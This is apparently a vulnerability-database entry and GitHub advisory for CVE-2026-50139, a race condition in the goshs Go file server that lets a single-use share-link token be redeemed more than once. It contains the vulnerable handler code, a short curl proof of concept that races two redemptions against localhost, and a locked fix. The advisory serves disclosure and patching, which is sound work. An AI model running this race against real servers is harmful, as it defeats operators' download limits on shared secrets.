CVE-2026-50139 (GCVE-0-2026-50139)

Vulnerability from cvelistv5 – Published: 2026-08-18 15:01 – Updated: 2026-08-19 14:34

Title

goshs: Share-link ?token=… redemption races past download limit

Summary

goshs is a SimpleHTTPServer written in Go. Prior to version 2.1.0, `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. Version 2.1.0 patches the issue.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-19 14:33 UTC

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/goshs-labs/goshs/security/advi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
patrickhener	goshs	Affected: < 2.1.0	guessed

Show details on NVD website

JSON

To clipboard

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        "references": [
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}

FKIE_CVE-2026-50139

Vulnerability from fkie_nvd - Published: 2026-08-18 15:16 - Updated: 2026-09-18 20:09

Severity

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/goshs-labs/goshs/security/advisories/GHSA-j48m-h7xq-2xpj
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/goshs-labs/goshs/security/advisories/GHSA-j48m-h7xq-2xpj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "goshs",
          "vendor": "patrickhener",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "goshs is a SimpleHTTPServer written in Go. Prior to version 2.1.0, `ShareHandler` reads the share token\u0027s `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served \u2014 exceeding the operator\u0027s intended cap. Version 2.1.0 patches the issue."
    }
  ],
  "id": "CVE-2026-50139",
  "lastModified": "2026-09-18T20:09:01.757",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
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        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
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        "type": "Secondary"
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          "role": "CISA Coordinator",
          "timestamp": "2026-08-19T14:33:06.319046Z",
          "version": "2.0.3"
        }
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    ]
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  "published": "2026-08-18T15:16:54.733",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/goshs-labs/goshs/security/advisories/GHSA-j48m-h7xq-2xpj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/goshs-labs/goshs/security/advisories/GHSA-j48m-h7xq-2xpj"
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          "value": "CWE-362"
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      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-J48M-H7XQ-2XPJ

Vulnerability from github – Published: 2026-07-01 21:59 – Updated: 2026-07-01 21:59

Summary

goshs: Share-link ?token=… redemption races past download limit

Details

Share-link `?token=…` redemption races past download limit

Ecosystem: Go Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs) Affected: <= v2.0.9 (every release that shipped the share-link feature)

Summary

ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.

Details

httpserver/handler.go:968-1018:

fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock()                       // <-- released here

if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
    // ...serve file...                          // <-- whole transfer happens unlocked
}

fs.sharedLinksMu.Lock()                          // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()

Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.

Proof of concept

goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txt

# operator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')

# attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice

Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification.

Impact

A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.

Suggested fix

Reserve under the write lock before serving — refund only if the serve fails:

fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
    delete(fs.SharedLinks, token)
} else {
    fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...

Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.

Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.9"
      },
      "package": {
        "ecosystem": "Go",
        "name": "goshs.de/goshs/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T21:59:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Share-link `?token=\u2026` redemption races past download limit\n\n**Ecosystem:** Go\n**Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`)\n**Affected:** `\u003c= v2.0.9` (every release that shipped the share-link feature)\n\n## Summary\n\n`ShareHandler` reads the share token\u0027s `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served \u2014 exceeding the operator\u0027s intended cap.\n\n## Details\n\n[`httpserver/handler.go:968-1018`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018):\n\n```go\nfs.sharedLinksMu.RLock()\nentry, ok := fs.SharedLinks[token]\nfs.sharedLinksMu.RUnlock()                       // \u003c-- released here\n\nif entry.DownloadLimit \u003e 0 || entry.DownloadLimit == -1 {\n    // ...serve file...                          // \u003c-- whole transfer happens unlocked\n}\n\nfs.sharedLinksMu.Lock()                          // \u003c-- re-acquired only now\ncurrent.Downloaded++\nif current.Downloaded \u003e= current.DownloadLimit { delete(fs.SharedLinks, token) }\nfs.sharedLinksMu.Unlock()\n```\n\nBetween line 978 (`RUnlock`) and line 1008 (`Lock`), any number of goroutines can interleave and each observes the same pre-increment limit.\n\n## Proof of concept\n\n```bash\ngoshs -p 18000 -d /tmp/r -b admin:pw \u0026\necho data \u003e /tmp/r/f.txt\n\n# operator issues a one-shot share\nSHARE=$(curl -su admin:pw \"http://localhost:18000/f.txt?share\u0026limit=1\")\nTK=$(echo \"$SHARE\" | sed -n \u0027s/.*token=\\([^\"]*\\)\".*/\\1/p\u0027)\n\n# attacker races two redemptions\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" \u0026 \\\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" \u0026 \\\nwait\n# observed: 200 / 200 (both succeed) -\u003e limit=1 redeemed twice\n```\n\nReproduced 5/5 times in a row on a 2026-era M-series Mac during verification.\n\n## Impact\n\nA \"single-use\" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.\n\n## Suggested fix\n\nReserve under the write lock *before* serving \u2014 refund only if the serve fails:\n\n```go\nfs.sharedLinksMu.Lock()\nentry, ok := fs.SharedLinks[token]\nif !ok || time.Now().After(entry.Expires) ||\n   (entry.DownloadLimit != -1 \u0026\u0026 entry.Downloaded \u003e= entry.DownloadLimit) {\n    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return\n}\nentry.Downloaded++\nif entry.DownloadLimit != -1 \u0026\u0026 entry.Downloaded \u003e= entry.DownloadLimit {\n    delete(fs.SharedLinks, token)\n} else {\n    fs.SharedLinks[token] = entry\n}\nfs.sharedLinksMu.Unlock()\n// ...serve...\n```\n\nAdd a regression test that races two requests against a `limit=1` token and asserts exactly one `200`.\n\nReporter: Nishant Verma. Reproduced against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.",
  "id": "GHSA-j48m-h7xq-2xpj",
  "modified": "2026-07-01T21:59:08Z",
  "published": "2026-07-01T21:59:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-j48m-h7xq-2xpj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs: Share-link ?token=\u2026 redemption races past download limit"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-50139 (GCVE-0-2026-50139)

FKIE_CVE-2026-50139

GHSA-J48M-H7XQ-2XPJ

Share-link ?token=… redemption races past download limit

Summary

Details

Proof of concept

Impact

Suggested fix

Tags

Sightings

Nomenclature

Related by attack behaviour

Share-link `?token=…` redemption races past download limit